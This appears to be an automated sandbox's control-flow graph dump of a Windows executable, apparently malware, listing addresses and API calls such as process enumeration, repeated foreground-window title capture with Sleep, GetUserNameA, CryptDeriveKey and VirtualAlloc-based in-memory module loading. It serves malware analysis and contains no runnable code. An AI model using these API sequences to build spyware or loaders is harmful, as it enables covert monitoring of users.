35354->35331 35355 408f2b 35358 402440 25 API calls 35355->35358 35356->35339 35356->35351 35356->35355 35357 40bb90 69 API calls 35360 407b8f 35357->35360 35361 408f33 35358->35361 35359->35153 35359->35357 35362 40bb90 69 API calls 35360->35362 35366 401960 27 API calls 35361->35366 35363 407ba4 35362->35363 35365 406800 261 API calls 35363->35365 35364->35339 35367 407bad 35365->35367 35381 408f52 35366->35381 35369 4093d0 39 API calls 35369->35381 35373->35328 35376 402510 27 API calls 35376->35381 35378 40c930 27 API calls 35378->35381 35379 402440 25 API calls 35379->35381 35380 408fe3 Sleep 35380->35381 35381->35369 35381->35376 35381->35378 35381->35379 35381->35380 35382 402410 27 API calls 35381->35382 35383 408fef 35381->35383 35382->35381 35384 401960 27 API calls 35383->35384 35402 405fa1 35401->35402 35405 405fe5 35401->35405 35905 40ef48 6 API calls 35402->35905 35404 405fab 35404->35405 35906 40f25b 28 API calls 35404->35906 35407 4026b0 27 API calls 35405->35407 35409 406066 35407->35409 35408 405fd8 35907 40eefe EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 35408->35907 35894 405350 CreateToolhelp32Snapshot Process32First 35409->35894 35413 40ebbf CatchGuardHandler 5 API calls 35417 4065c8 35413->35417 35415 4060a1 35416 4060db 35415->35416 35909 40f25b 28 API calls 35415->35909 35416->35416 35419 4026b0 27 API calls 35416->35419 35417->34642 35417->34643 35421 406156 35419->35421 35420 4060ce 35910 40eefe EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 35420->35910 35423 405350 29 API calls 35421->35423 35424 40615b 35423->35424 35427 4061da 35424->35427 35450 406597 std::ios_base::_Ios_base_dtor 35424->35450 35911 40ef48 6 API calls 35424->35911 35426 40619a 35426->35427 35912 40f25b 28 API calls 35426->35912 35429 4026b0 27 API calls 35427->35429 35431 406266 35429->35431 35430 4061cd 35913 40eefe EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 35430->35913 35433 405350 29 API calls 35431->35433 35434 40626b 35433->35434 35435 406276 GetForegroundWindow 35434->35435 35434->35450 35436 406284 GetWindowTextA 35435->35436 35435->35450 35437 4062cd 35436->35437 35440 406328 35436->35440 35914 40ef48 6 API calls 35437->35914 35439 4062d7 35439->35440 35915 40f25b 28 API calls 35439->35915 35441 4026b0 27 API calls 35440->35441 35445 40638a 35441->35445 35443 40631b 35916 40eefe EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 35443->35916 35448 40643c 35445->35448 35449 4064ce std::ios_base::_Ios_base_dtor 35445->35449 35917 40ef48 6 API calls 35445->35917 35447 4063fc 35447->35448 35918 40f25b 28 API calls 35447->35918 35451 4026b0 27 API calls 35448->35451 35449->35450 35453 4065cc 35449->35453 35450->35413 35451->35449 35455 413527 25 API calls 35453->35455 35454 40642f 35919 40eefe EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 35454->35919 35457 4065d1 35455->35457 35459 401973 __fread_nolock 35458->35459 35460 40ee0d 27 API calls 35459->35460 35461 40198a __fread_nolock 35460->35461 35461->34649 35463 40937a 35462->35463 35464 4093b9 35462->35464 35920 40ef48 6 API calls 35463->35920 35466 40ebbf CatchGuardHandler 5 API calls 35464->35466 35468 4093cb 35466->35468 35467 409384 35467->35464 35921 40f25b 28 API calls 35467->35921 35468->34660 35470 4093af 35922 40eefe EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 35470->35922 35473 4092d3 35472->35473 35474 409322 35472->35474 35923 40ef48 6 API calls 35473->35923 35475 40ebbf CatchGuardHandler 5 API calls 35474->35475 35477 409335 35475->35477 35477->34679 35478 4092dd 35478->35474 35924 40f25b 28 API calls 35478->35924 35480 409318 35925 40eefe EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 35480->35925 35483 409220 35482->35483 35491 409277 35482->35491 35926 40ef48 6 API calls 35483->35926 35484 40ebbf CatchGuardHandler 5 API calls 35487 409289 35484->35487 35486 40922a 35486->35491 35927 40f25b 28 API calls 35486->35927 35487->34689 35489 40926d 35928 40eefe EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 35489->35928 35491->35484 35493 40c942 35492->35493 35929 40d660 35493->35929 35495 408dea 35495->34709 35935 40d480 35496->35935 35498 408e17 35498->34729 35500 40943d 35499->35500 35501 4093fb 35499->35501 35503 40ebbf CatchGuardHandler 5 API calls 35500->35503 35954 40ef48 6 API calls 35501->35954 35505 40944f 35503->35505 35504 409405 35504->35500 35955 40f25b 28 API calls 35504->35955 35505->34844 35507 409433 35956 40eefe EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 35507->35956 35510 409495 35509->35510 35518 4094e5 35509->35518 35957 40ef48 6 API calls 35510->35957 35512 40ebbf CatchGuardHandler 5 API calls 35513 4094f8 35512->35513 35513->34858 35514 40949f 35514->35518 35958 40f25b 28 API calls 35514->35958 35516 4094db 35959 40eefe EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 35516->35959 35518->35512 35520 4038ba GetLastError CryptReleaseContext 35519->35520 35521 4037fe CryptCreateHash 35519->35521 35522 403a04 35520->35522 35521->35520 35523 403822 35521->35523 35525 403a2a std::ios_base::_Ios_base_dtor 35522->35525 35526 403a52 35522->35526 35527 40ee0d 27 API calls 35523->35527 35524 40ebbf CatchGuardHandler 5 API calls 35528 403a4e 35524->35528 35525->35524 35530 413527 25 API calls 35526->35530 35529 40385a 35527->35529 35528->34858 35960 41657c 35529->35960 35532 403a57 35530->35532 35964 40ff71 26 API calls 2 library calls 35532->35964 35535 403896 CryptDeriveKey 35535->35520 35536 403888 GetLastError 35536->35522 35537 403a83 35537->34858 36011 402f20 35545->36011 35547 402b76 35553 402ba8 35547->35553 36065 403520 27 API calls 2 library calls 35547->36065 35549 402b88 35549->35553 36066 403520 27 API calls 2 library calls 35549->36066 35553->34858 36100 10006436 GetSystemTimeAsFileTime 35554->36100 35556 10002479 36102 100064b5 35556->36102 35558 10002482 __FrameHandler3::FrameUnwindToState 35604->34840 35605->34648 35606->34665 35607->34650 35608->34666 35609->34840 35610->34711 35611->34725 35612->34712 35613->34727 35614->34840 35615->34783 35616->34794 35617->34787 35618->34800 35619->34840 35620->34592 35621->34600 35622->34593 35623->34601 35624->34707 35625->34707 35626->34707 35627->34707 35628->34713 35629->34728 35630->34718 35631->34731 35632->34808 35635 40b9eb 35633->35635 35646 40bad4 std::ios_base::_Ios_base_dtor _Yarn 35633->35646 35634 40bb61 35648 401950 27 API calls 35634->35648 35635->35634 35637 40ba6b _Yarn 35635->35637 35639 40ba81 35635->35639 35640 40ba5a 35635->35640 35635->35646 35645 413527 25 API calls 35637->35645 35637->35646 35638 40bb66 35649 4018b0 27 API calls 3 library calls 35638->35649 35639->35637 35644 40edcf std::_Facet_Register 27 API calls 35639->35644 35640->35638 35643 40edcf std::_Facet_Register 27 API calls 35640->35643 35642 40bb6b 35643->35637 35644->35637 35645->35634 35646->35061 35647->35061 35649->35642 35651->35072 35652->35082 35697 413c9b 35653->35697 35657 418633 35656->35657 35658 418616 35656->35658 35657->35119 35658->35657 35659 418623 35658->35659 35660 418637 35658->35660 35760 4135f1 14 API calls __dosmaperr 35659->35760 35752 4183e9 35660->35752 35663 418628 35761 413517 25 API calls __cftof 35663->35761 35666->35101 35667->35097 35668->35193 35669->35185 35670->35203 35671->35187 35672->35204 35673->35193 35674->35249 35675->35263 35676->35250 35677->35265 35678->35193 35679->35321 35680->35332 35681->35325 35682->35338 35684->35129 35685->35137 35686->35130 35687->35138 35688->35245 35689->35245 35690->35245 35691->35245 35692->35251 35693->35266 35694->35256 35695->35269 35696->35346 35700 413ca7 __FrameHandler3::FrameUnwindToState 35697->35700 35698 413cae 35722 4135f1 14 API calls __dosmaperr 35698->35722 35700->35698 35702 413cce 35700->35702 35701 413cb3 35723 413517 25 API calls __cftof 35701->35723 35704 413ce0 35702->35704 35705 413cd3 35702->35705 35714 41dd29 35704->35714 35724 4135f1 14 API calls __dosmaperr 35705->35724 35709 413cf0 35725 4135f1 14 API calls __dosmaperr 35709->35725 35710 413cfd 35726 413d3b LeaveCriticalSection __fread_nolock 35710->35726 35713 413cbe 35713->35112 35715 41dd35 __FrameHandler3::FrameUnwindToState 35714->35715 35727 418bb1 EnterCriticalSection 35715->35727 35717 41dd43 35728 41ddcd 35717->35728 35722->35701 35723->35713 35724->35713 35725->35713 35726->35713 35727->35717 35736 41ddf0 35728->35736 35729 41dd50 35742 41dd89 35729->35742 35730 41de48 35747 41e25b 14 API calls 2 library calls 35730->35747 35732 41de51 35748 41e2b8 14 API calls __dosmaperr 35732->35748 35735 41de5a 35735->35729 35749 41e89c 6 API calls std::_Lockit::_Lockit 35735->35749 35736->35729 35736->35730 35736->35736 35745 413ede EnterCriticalSection 35736->35745 35746 413ef2 LeaveCriticalSection 35736->35746 35739 41de79 35750 413ede EnterCriticalSection 35739->35750 35741 41de8c 35741->35729 35751 418bf9 LeaveCriticalSection 35742->35751 35744 413ce9 35744->35709 35744->35710 35745->35736 35746->35736 35747->35732 35748->35735 35749->35739 35750->35741 35751->35744 35753 4183f5 __FrameHandler3::FrameUnwindToState 35752->35753 35762 413ede EnterCriticalSection 35753->35762 35755 418403 35763 418444 35755->35763 35759 418421 35759->35119 35760->35663 35761->35657 35762->35755 35771 41fb93 35763->35771 35769 418410 35770 418438 LeaveCriticalSection __fread_nolock 35769->35770 35770->35759 35790 41fb58 35771->35790 35773 418458 35778 418487 35773->35778 35774 41fba4 35774->35773 35775 41ed2f __fread_nolock 15 API calls 35774->35775 35776 41fbfe 35775->35776 35796 41e2b8 14 API calls __dosmaperr 35776->35796 35780 418499 35778->35780 35785 418473 35778->35785 35779 4184a7 35838 4135f1 14 API calls __dosmaperr 35779->35838 35780->35779 35784 4184cf _Yarn 35780->35784 35780->35785 35782 4184ac 35839 413517 25 API calls __cftof 35782->35839 35784->35785 35787 41d173 __fread_nolock 25 API calls 35784->35787 35813 420f36 35784->35813 35840 418066 63 API calls 2 library calls 35784->35840 35789 41fc3f 63 API calls ___scrt_uninitialize_crt 35785->35789 35787->35784 35789->35769 35792 41fb64 35790->35792 35791 41fb85 35791->35774 35792->35791 35797 41d173 35792->35797 35794 41fb7f 35804 427ed7 35794->35804 35796->35773 35798 41d194 35797->35798 35799 41d17f 35797->35799 35798->35794 35800 4135f1 __dosmaperr 14 API calls 35799->35800 35801 41d184 35800->35801 35802 413517 __cftof 25 API calls 35801->35802 35803 41d18f 35802->35803 35803->35794 35805 427ee4 35804->35805 35807 427ef1 35804->35807 35806 4135f1 __dosmaperr 14 API calls 35805->35806 35809 427ee9 35806->35809 35808 4135f1 __dosmaperr 14 API calls 35807->35808 35810 427efd 35807->35810 35811 427f1e 35808->35811 35809->35791 35810->35791 35812 413517 __cftof 25 API calls 35811->35812 35812->35809 35814 420f42 __FrameHandler3::FrameUnwindToState 35813->35814 35815 420f62 35814->35815 35816 420f4a 35814->35816 35818 420ffd 35815->35818 35822 420f94 35815->35822 35886 4135de 14 API calls __dosmaperr 35816->35886 35891 4135de 14 API calls __dosmaperr 35818->35891 35819 420f4f 35887 4135f1 14 API calls __dosmaperr 35819->35887 35841 425336 EnterCriticalSection 35822->35841 35823 421002 35892 4135f1 14 API calls __dosmaperr 35823->35892 35826 420f9a 35828 420fb6 35826->35828 35829 420fcb 35826->35829 35827 42100a 35893 413517 25 API calls __cftof 35827->35893 35888 4135f1 14 API calls __dosmaperr 35828->35888 35842 421028 35829->35842 35831 420f57 35831->35784 35834 420fc6 35890 420ff5 LeaveCriticalSection __wsopen_s 35834->35890 35835 420fbb 35889 4135de 14 API calls __dosmaperr 35835->35889 35838->35782 35839->35785 35840->35784 35841->35826 35843 42104a 35842->35843 35881 421066 35842->35881 35844 42104e 35843->35844 35847 42109e 35843->35847 35845 4135de __dosmaperr 14 API calls 35844->35845 35846 421053 35845->35846 35849 4135f1 __dosmaperr 14 API calls 35846->35849 35848 4210b4 35847->35848 35850 41d158 __fread_nolock 27 API calls 35847->35850 35851 420bcf __wsopen_s 39 API calls 35848->35851 35852 42105b 35849->35852 35850->35848 35853 4210bd 35851->35853 35854 413517 __cftof 25 API calls 35852->35854 35855 4210c2 35853->35855 35856 4210fb 35853->35856 35854->35881 35859 4210c6 35855->35859 35860 4210e8 35855->35860 35857 421155 WriteFile 35856->35857 35858 42110f 35856->35858 35864 421178 GetLastError 35857->35864 35870 4210de 35857->35870 35861 421117 35858->35861 35862 421145 35858->35862 35863 4211c2 35859->35863 35868 420b67 __wsopen_s 6 API calls 35859->35868 35865 4207bb __wsopen_s 44 API calls 35860->35865 35866 421135 35861->35866 35867 42111c 35861->35867 35869 420c40 __wsopen_s 7 API calls 35862->35869 35874 4135f1 __dosmaperr 14 API calls 35863->35874 35863->35881 35864->35870 35865->35870 35872 420e04 __wsopen_s 8 API calls 35866->35872 35867->35863 35871 421125 35867->35871 35868->35870 35873 421133 35869->35873 35870->35863 35875 421198 35870->35875 35870->35881 35876 420d1b __wsopen_s 7 API calls 35871->35876 35872->35873 35873->35870 35877 4211e3 35874->35877 35879 4211b6 35875->35879 35880 42119f 35875->35880 35876->35873 35878 4135de __dosmaperr 14 API calls 35877->35878 35878->35881 35883 4135bb __dosmaperr 14 API calls 35879->35883 35882 4135f1 __dosmaperr 14 API calls 35880->35882 35881->35834 35884 4211a4 35882->35884 35883->35881 35885 4135de __dosmaperr 14 API calls 35884->35885 35885->35881 35886->35819 35887->35831 35888->35835 35889->35834 35890->35831 35891->35823 35892->35827 35893->35831 35895 4053c1 FindCloseChangeNotification 35894->35895 35897 40538e 35894->35897 35896 4053ca 35895->35896 35898 4053f0 std::ios_base::_Ios_base_dtor 35896->35898 35901 405413 35896->35901 35897->35896 35900 4053b3 Process32Next 35897->35900 35899 40ebbf CatchGuardHandler 5 API calls 35898->35899 35902 40540f 35899->35902 35900->35895 35900->35897 35903 413527 25 API calls 35901->35903 35902->35416 35902->35450 35908 40ef48 6 API calls 35902->35908 35904 405418 35903->35904 35905->35404 35906->35408 35907->35405 35908->35415 35909->35420 35910->35416 35911->35426 35912->35430 35913->35427 35914->35439 35915->35443 35916->35440 35917->35447 35918->35454 35919->35448 35920->35467 35921->35470 35922->35464 35923->35478 35924->35480 35925->35474 35926->35486 35927->35489 35928->35491 35930 40d6e8 35929->35930 35933 40d67a _Yarn 35929->35933 35934 40da70 27 API calls 4 library calls 35930->35934 35932 40d6fa 35932->35495 35933->35495 35934->35932 35936 40d4c3 35935->35936 35937 40d650 35936->35937 35938 40d590 35936->35938 35946 40d4c8 _Yarn 35936->35946 35952 401950 27 API calls 35937->35952 35941 40d5c5 35938->35941 35942 40d5eb 35938->35942 35940 40d655 35953 4018b0 27 API calls 3 library calls 35940->35953 35941->35940 35944 40d5d0 35941->35944 35948 40edcf std::_Facet_Register 27 API calls 35942->35948 35951 40d5dd _Yarn 35942->35951 35947 40edcf std::_Facet_Register 27 API calls 35944->35947 35945 40d5d6 35949 413527 25 API calls 35945->35949 35945->35951 35946->35498 35947->35945 35948->35951 35950 40d65f 35949->35950 35951->35498 35953->35945 35954->35504 35955->35507 35956->35500 35957->35514 35958->35516 35959->35518 35961 41658a 35960->35961 35965 4162f9 35961->35965 35964->35537 35966 416310 35965->35966 35967 416322 35966->35967 35968 41633a 35966->35968 35979 40386c CryptHashData 35966->35979 35992 4135f1 14 API calls __dosmaperr 35967->35992 35994 413621 35968->35994 35979->35535 35979->35536 36012 402f44 SetLastError 36011->36012 36013 402f6c 36011->36013 36093 402bc0 70 API calls 36012->36093 36014 402f76 36013->36014 36016 402fb1 SetLastError 36013->36016 36024 402fd9 36013->36024 36094 402bc0 70 API calls 36014->36094 36095 402bc0 70 API calls 36016->36095 36017 402f56 36020 40ebbf CatchGuardHandler 5 API calls 36017->36020 36021 402f68 36020->36021 36021->35547 36022 402f80 SetLastError 36025 40ebbf CatchGuardHandler 5 API calls 36022->36025 36023 402fc3 36026 40ebbf CatchGuardHandler 5 API calls 36023->36026 36024->36014 36027 403044 GetNativeSystemInfo 36024->36027 36028 402f9d 36025->36028 36029 402fd5 36026->36029 36027->36014 36030 403073 VirtualAlloc 36027->36030 36028->35547 36029->35547 36031 4030b3 GetProcessHeap HeapAlloc 36030->36031 36032 40308d VirtualAlloc 36030->36032 36033 4030d0 VirtualFree 36031->36033 36034 4030e4 36031->36034 36032->36031 36035 40309f 36032->36035 36033->36034 36036 40312c SetLastError 36034->36036 36037 40314e VirtualAlloc 36034->36037 36096 402bc0 70 API calls 36035->36096 36039 403134 36036->36039 36047 403167 _Yarn __fread_nolock 36037->36047 36097 403680 16 API calls std::locale::_Locimp::~_Locimp 36039->36097 36040 4030a9 36040->36031 36042 40313b 36044 40324c 36047->36036 36047->36039 36047->36044 36068 402e90 VirtualAlloc 36047->36068 36065->35549 36068->36047 36093->36017 36094->36022 36095->36023 36096->36040 36097->36042 36101 10006468 __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z 36100->36101 36101->35556 36175 10007bac GetLastError 36102->36175 36176 10007bc3 36175->36176 36177 10007bc9 36175->36177 36204 10008293 6 API calls _unexpected 36176->36204 36181 10007bcf SetLastError 36177->36181 36205 100082d2 6 API calls _unexpected 36177->36205 36180 10007be7 36180->36181 36182 10007beb 36180->36182 36188 10007c63 36181->36188 36189 100064bf 36181->36189 36211 100076e4 37 API calls __FrameHandler3::FrameUnwindToState 36188->36211 36189->35558 36204->36177 36205->36180 36374 405722 36373->36374 36377 405764 36373->36377 36422 40ef48 6 API calls 36374->36422 36376 40572c 36376->36377 36423 40f25b 28 API calls 36376->36423 36379 4026b0 27 API calls 36377->36379 36381 4057e1 GetUserNameA 36379->36381 36380 40575a 36424 40eefe EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 36380->36424 36383 405830 36381->36383 36383->36383 36384 4026b0 27 API calls 36383->36384 36385 40584c std::ios_base::_Ios_base_dtor 36384->36385 36386 405e94 36385->36386 36393 405933 36385->36393 36417 405e6a std::ios_base::_Ios_base_dtor 36385->36417 36425 40ef48 6 API calls 36385->36425 36388 413527 25 API calls 36386->36388 36387 40ebbf CatchGuardHandler 5 API calls 36389 405e8e 36387->36389 36390 405e99 36388->36390 36392 405902 36392->36393 36426 40f25b 28 API calls 36392->36426 36395 4026b0 27 API calls 36393->36395 36397 4059aa GetUserNameA 36395->36397 36396 405929 36427 40eefe EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 36396->36427 36399 4059f0 36397->36399 36399->36399 36400 4026b0 27 API calls 36399->36400 36401 405a0c std::ios_base::_Ios_base_dtor 36400->36401 36401->36386 36404 405b10 36401->36404 36401->36417 36428 40ef48 6 API calls 36401->36428 36403 405ad3 36403->36404 36429 40f25b 28 API calls 36403->36429 36406 4026b0 27 API calls 36404->36406 36408 405baa GetUserNameA 36406->36408 36407 405b06 36430 40eefe EnterCriticalSection LeaveCriticalSection RtlWakeAllConditionVariable SetEvent ResetEvent 36407->36430 36410 405bf0 36408->36410 36410->36410 36411 4026b0 27 API calls 36410->36411 36412 405c0c std::ios_base::_Ios_base_dtor 36411->36412 36412->36386 36413 405c9f GetForegroundWindow GetWindowTextA 36412->36413 36412->36417 36414 405cc1 36413->36414 36414->36414 36415 4026b0 27 API calls 36414->36415 36420 405cdd 36415->36420 36416 405e3e 36416->36386 36416->36417 36417->36387 36419 405ddd Sleep GetForegroundWindow GetWindowTextA 36419->36420 36420->36416 36420->36419 36420->36420 36421 4026b0 27 API calls 36420->36421 36431 418275 42 API calls 36420->36431 36421->36420 36422->36376 36423->36380 36424->36377 36425->36392 36426->36396 36427->36393 36428->36403 36429->36407 36430->36404 36431->36420 36433 405473 36432->36433 36434 405457 K32GetModuleFileNameExA FindCloseChangeNotification 36432->36434 36435 4026b0 27 API calls 36433->36435 36434->36433 36436 4054ab 36435->36436 36437 40ebbf CatchGuardHandler 5 API calls 36436->36437 36438 4054b9 GetCurrentProcessId 36437->36438 36439 405250 36438->36439 36440 410b00 __fread_nolock 36439->36440 36441 4052a5 OpenProcess 36440->36441 36442 4052f0 FindCloseChangeNotification 36441->36442 36443 4052bc K32EnumProcessModules 36441->36443 36445 405317 36442->36445 36443->36442 36444 4052d7 K32GetModuleBaseNameA 36443->36444 36444->36442 36445->36445 36446 4026b0 27 API calls 36445->36446 36447 40532f 36446->36447 36448 40ebbf CatchGuardHandler 5 API calls 36447->36448 36449 40533d 36448->36449 36450 40c710 36449->36450 36451 40d660 27 API calls 36450->36451 36452 405528 36451->36452 36453 40c880 36452->36453 36454 40c896 36453->36454 36454->36454 36456 40c8ab _Yarn 36454->36456 36457 402980 27 API calls 4 library calls 36454->36457 36456->34357 36457->36456 36459 417b59 36458->36459 36460 417b6b 36458->36460 36486 40f746 GetModuleHandleW 36459->36486 36470 4179f2 36460->36470 36463 417b5e 36463->36460 36487 417bf1 GetModuleHandleExW 36463->36487 36464 40f4a8 36464->34157 36471 4179fe __FrameHandler3::FrameUnwindToState 36470->36471 36493 418bb1 EnterCriticalSection 36471->36493 36473 417a08 36494 417a5e 36473->36494 36475 417a15 36498 417a33 36475->36498 36478 417baf 36526 42041f GetPEB 36478->36526 36481 417bde 36483 417bf1 CallUnexpected 3 API calls 36481->36483 36482 417bbe GetPEB 36482->36481 36484 417bce GetCurrentProcess TerminateProcess 36482->36484 36485 417be6 ExitProcess 36483->36485 36484->36481 36486->36463 36488 417c10 GetProcAddress 36487->36488 36489 417c33 36487->36489 36492 417c25 36488->36492 36490 417b6a 36489->36490 36491 417c39 FreeLibrary 36489->36491 36490->36460 36491->36490 36492->36489 36493->36473 36495 417a6a __FrameHandler3::FrameUnwindToState 36494->36495 36496 417acb CallUnexpected 36495->36496 36501 41ab61 36495->36501 36496->36475 36525 418bf9 LeaveCriticalSection 36498->36525 36500 417a21 36500->36464 36500->36478 36504 41a892 36501->36504 36505 41a89e __FrameHandler3::FrameUnwindToState 36504->36505 36512 418bb1 EnterCriticalSection 36505->36512 36507 41a8ac 36513 41aa71 36507->36513 36511 41a8ca 36511->36496 36512->36507 36514 41aa90 36513->36514 36516 41a8b9 36513->36516 36515 41ab1e 36514->36515 36514->36516 36520 40e925 36514->36520 36515->36516 36524 41e2b8 14 API calls __dosmaperr 36515->36524 36519 41a8e1 LeaveCriticalSection std::_Lockit::~_Lockit 36516->36519 36519->36511 36521 40e965 36520->36521 36522 40e94a RtlDecodePointer 36521->36522 36523 40e97a 36521->36523 36522->36521 36523->36514 36524->36516 36525->36500 36527 420439 36526->36527 36528 417bb9 36526->36528 36530 41e612 5 API calls std::_Lockit::_Lockit 36527->36530 36528->36481 36528->36482 36530->36528 36531 41e0b9 36536 41de8f 36531->36536 36534 41e0f8 36537 41deae 36536->36537 36538 41dec1 36537->36538 36544 41ded6 36537->36544 36556 4135f1 14 API calls __dosmaperr 36538->36556 36540 41dec6 36557 413517 25 API calls __cftof 36540->36557 36542 41dff6 36543 41ded1 36542->36543 36561 4135f1 14 API calls __dosmaperr 36542->36561 36543->36534 36553 42869e 36543->36553 36544->36542 36558 427f2d 38 API calls 3 library calls 36544->36558 36546 41e0a7 36562 413517 25 API calls __cftof 36546->36562 36549 41e046 36549->36542 36559 427f2d 38 API calls 3 library calls 36549->36559 36551 41e064 36551->36542 36560 427f2d 38 API calls 3 library calls 36551->36560 36563 428063 36553->36563 36556->36540 36557->36543 36558->36549 36559->36551 36560->36542 36561->36546 36562->36543 36565 42806f __FrameHandler3::FrameUnwindToState 36563->36565 36564 428076 36583 4135f1 14 API calls __dosmaperr 36564->36583 36565->36564 36567 4280a1 36565->36567 36574 428630 36567->36574 36568 42807b 36584 413517 25 API calls __cftof 36568->36584 36573 428085 36573->36534 36586 423b18 36574->36586 36579 428666 36581 4280c5 36579->36581 36641 41e2b8 14 API calls __dosmaperr 36579->36641 36585 4280f8 LeaveCriticalSection __wsopen_s 36581->36585 36583->36568 36584->36573 36585->36573 36587 413621 __cftof 38 API calls 36586->36587 36588 423b2a 36587->36588 36589 423b3c 36588->36589 36642 41e652 5 API calls std::_Lockit::_Lockit 36588->36642 36591 419d5b 36589->36591 36643 419ca9 36591->36643 36594 4286be 36668 42840c 36594->36668 36597 4286f0 36700 4135de 14 API calls __dosmaperr 36597->36700 36598 428709 36686 42540e 36598->36686 36602 428717 36702 4135de 14 API calls __dosmaperr 36602->36702 36603 42872e 36699 428377 CreateFileW 36603->36699 36607 428702 36607->36579 36608 42871c 36703 4135f1 14 API calls __dosmaperr 36608->36703 36609 4287e4 GetFileType 36612 428836 36609->36612 36613 4287ef GetLastError 36609->36613 36611 4287b9 GetLastError 36705 4135bb 14 API calls __dosmaperr 36611->36705 36708 425359 15 API calls 2 library calls 36612->36708 36706 4135bb 14 API calls __dosmaperr 36613->36706 36614 4286f5 36701 4135f1 14 API calls __dosmaperr 36614->36701 36615 428767 36615->36609 36615->36611 36704 428377 CreateFileW 36615->36704 36619 4287fd CloseHandle 36619->36614 36622 428826 36619->36622 36621 4287ac 36621->36609 36621->36611 36707 4135f1 14 API calls __dosmaperr 36622->36707 36623 428857 36626 4288a3 36623->36626 36709 428586 72 API calls 3 library calls 36623->36709 36625 42882b 36625->36614 36630 4288aa 36626->36630 36711 428124 72 API calls 4 library calls 36626->36711 36629 4288d8 36629->36630 36631 4288e6 36629->36631 36710 41ec93 28 API calls 2 library calls 36630->36710 36631->36607 36633 428962 CloseHandle 36631->36633 36712 428377 CreateFileW 36633->36712 36635 42898d 36636 428997 GetLastError 36635->36636 36640 4288b1 36635->36640 36713 4135bb 14 API calls __dosmaperr 36636->36713 36638 4289a3 36714 425521 15 API calls 2 library calls 36638->36714 36640->36607 36641->36581 36642->36589 36644 419cd1 36643->36644 36645 419cb7 36643->36645 36646 419cf7 36644->36646 36647 419cd8 36644->36647 36661 419d78 14 API calls _free 36645->36661 36663 41fe48 MultiByteToWideChar 36646->36663 36660 419cc1 36647->36660 36662 419db9 15 API calls __wsopen_s 36647->36662 36651 419d06 36652 419d0d GetLastError 36651->36652 36657 419d33 36651->36657 36666 419db9 15 API calls __wsopen_s 36651->36666 36664 4135bb 14 API calls __dosmaperr 36652->36664 36656 419d19 36665 4135f1 14 API calls __dosmaperr 36656->36665 36657->36660 36667 41fe48 MultiByteToWideChar 36657->36667 36658 419d4a 36658->36652 36658->36660 36660->36579 36660->36594 36661->36660 36662->36660 36663->36651 36664->36656 36665->36660 36666->36657 36667->36658 36669 428447 36668->36669 36670 42842d 36668->36670 36715 42839c 36669->36715 36670->36669 36722 4135f1 14 API calls __dosmaperr 36670->36722 36672 42847f 36684 4284ae 36672->36684 36724 4135f1 14 API calls __dosmaperr 36672->36724 36674 42843c 36723 413517 25 API calls __cftof 36674->36723 36678 4284fc 36680 428579 36678->36680 36682 428501 36678->36682 36679 4284a3 36725 413517 25 API calls __cftof 36679->36725 36727 413544 11 API calls CallUnexpected 36680->36727 36682->36597 36682->36598 36684->36682 36726 41ae70 25 API calls 2 library calls 36684->36726 36685 428585 36687 42541a __FrameHandler3::FrameUnwindToState 36686->36687 36730 418bb1 EnterCriticalSection 36687->36730 36690 425446 36734 4251e8 15 API calls 3 library calls 36690->36734 36691 425421 36691->36690 36695 4254b5 EnterCriticalSection 36691->36695 36698 425468 36691->36698 36694 42544b 36694->36698 36735 425336 EnterCriticalSection 36694->36735 36697 4254c2 LeaveCriticalSection 36695->36697 36695->36698 36697->36691 36731 425518 36698->36731 36699->36615 36700->36614 36701->36607 36702->36608 36703->36614 36704->36621 36705->36614 36706->36619 36707->36625 36708->36623 36709->36626 36710->36640 36711->36629 36712->36635 36713->36638 36714->36640 36718 4283b4 36715->36718 36716 4283cf 36716->36672 36718->36716 36728 4135f1 14 API calls __dosmaperr 36718->36728 36719 4283f3 36729 413517 25 API calls __cftof 36719->36729 36721 4283fe 36721->36672 36722->36674 36723->36669 36724->36679 36725->36684 36726->36678 36727->36685 36728->36719 36729->36721 36730->36691 36736 418bf9 LeaveCriticalSection 36731->36736 36733 425488 36733->36602 36733->36603 36734->36694 36735->36698 36736->36733 36737 40ee39 36748 40ee60 InitializeCriticalSectionAndSpinCount GetModuleHandleW 36737->36748 36739 40ee3e 36759 40f0ce IsProcessorFeaturePresent IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter ___scrt_release_startup_lock 36739->36759 36741 40ee45 36742 40ee58 36741->36742 36743 40ee4a 36741->36743 36761 40f5f5 4 API calls 2 library calls 36742->36761 36760 40f25b 28 API calls 36743->36760 36746 40ee54 36747 40ee5f 36749 40ee83 GetModuleHandleW 36748->36749 36750 40ee94 GetProcAddress GetProcAddress 36748->36750 36749->36750 36751 40eeda 36749->36751 36752 40eeb2 36750->36752 36753 40eec4 CreateEventW 36750->36753 36762 40f5f5 4 API calls 2 library calls 36751->36762 36752->36753 36754 40eeb6 36752->36754 36753->36751 36753->36754 36754->36739 36756 40eee1 DeleteCriticalSection 36757 40eef6 CloseHandle 36756->36757 36758 40eefd 36756->36758 36757->36758 36758->36739 36759->36741 36760->36746 36761->36747 36762->36756

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
